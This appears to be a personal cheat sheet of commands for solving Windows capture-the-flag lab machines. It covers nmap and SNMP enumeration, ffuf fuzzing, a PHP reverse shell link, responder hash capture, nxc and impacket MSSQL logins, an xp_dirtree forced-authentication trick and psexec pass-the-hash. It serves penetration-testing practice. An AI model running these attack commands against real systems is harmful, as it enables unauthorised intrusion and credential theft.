Cheat Sheet - Windows Box Solving

---

Nmap Scan - TCP

sudo nmap $IP --open -sCV -oN $IP -vv -p- --min-rate=300 

Nmap Scan - UDP

sudo nmap $IP -sU --top-ports=100 -vv

SNMP enumeration

snmpwalk -v2c -c public 10.129.24.223 NET-SNMP-EXTEND-MIB::nsExtendObjects

---

FUZZING

Fuzzing for Directories

ffuf -ic -c -w /wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u http://dev.linkvortex.htb/FUZZ

Fuzzing for VHOSTS

ffuf -ic -c -w /wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://dog.htb/ -H 'Host: FUZZ.dog.htb' 

Fuzzing a BURP request

ffuf -ic -c -w /wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -request request.req -request-proto http

IN BURP -> copy selected text to a file -> FILE_NAME.req

Recursive scan for Directories

ffuf -ic -c -w /wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u http://panda.htb/FUZZ -recursion -recursion-depth 1 -v

---

PHP Reverse Shell for Windows and Linux

https://github.com/ivan-sincek/php-reverse-shell.git

404 pages CHEATSHEET :

https://0xdf.gitlab.io/cheatsheets/404#

---

SMB

Listen on Network NTLMv2 Hashes [Analyze Mode]

sudo responder -I tun0 -A

Enumerate shares [ GUEST login ]

nxc $IP -u 'guest' -p '' --shares

Enumerate shares [ Anonymous login ]

nxc $IP -u '' -p '' --shares

---

MSSQL

Check credentials validity for MSSQL service [ Domain ]

nxc mssql $IP -u 'PublicUser' -p 'GuestUserCantWrite1' 

Check credentials validity in MSSQL service [ Local Machine ]

nxc mssql $IP -u 'sql_svc' -p 'REGGIE1234ronnie' --local-auth

Login in MSSQL service [ Local Account ]

impacket-mssqlclient svc_mssql:[email protected]

Login in MSSQL service [ Domain account ]

impacket-mssqlclient pokemon.exam/svc_mssql:[email protected] -windows-auth

Send SQL user service hash for

xp_dirtree //10.10.10.10/fakeshare/fake

---

PS EXEC

NTLM hash

impacket-psexec -hashes :A52F78E4C751E5F5E17E1E9F3E58F4EE [email protected]

---